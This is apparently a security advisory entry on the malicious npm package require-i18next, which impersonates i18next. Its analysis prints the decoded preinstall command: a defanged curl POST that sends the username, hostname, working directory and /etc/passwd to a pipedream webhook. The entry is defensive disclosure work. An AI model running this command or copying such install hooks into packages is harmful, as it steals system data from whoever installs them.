LWA-2026-11326 MAL-2026-14052 ↗ confirmed malware

require-i18next@20.0.0

Malicious code in require-i18next (npm)

T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1082 · System Information DiscoveryT1005 · Data from Local SystemT1041 · Exfiltration Over C2 Channel

Analysis

The preinstall hook (node preinstall.js) reads a hex-encoded command from a bundled preinstall.json, decodes it, and executes it with child_process.exec. The decoded command runs `curl hxxps://eobdzec83knbura[.]m[.]pipedream[.]net -d "whoami=`whoami`&pwd=`pwd`&hostname=`hostname`&passwd=`cat /etc/passwd`"`, POSTing the host's username, working directory, hostname, and the contents of /etc/passwd to a remote pipedream[.]net webhook endpoint during installation. The package name impersonates the legitimate i18next library.

analyzed by
Leitwacht
first seen
Aug 15, 2026, 01:10 PM
analyzed
Aug 15, 2026, 01:11 PM

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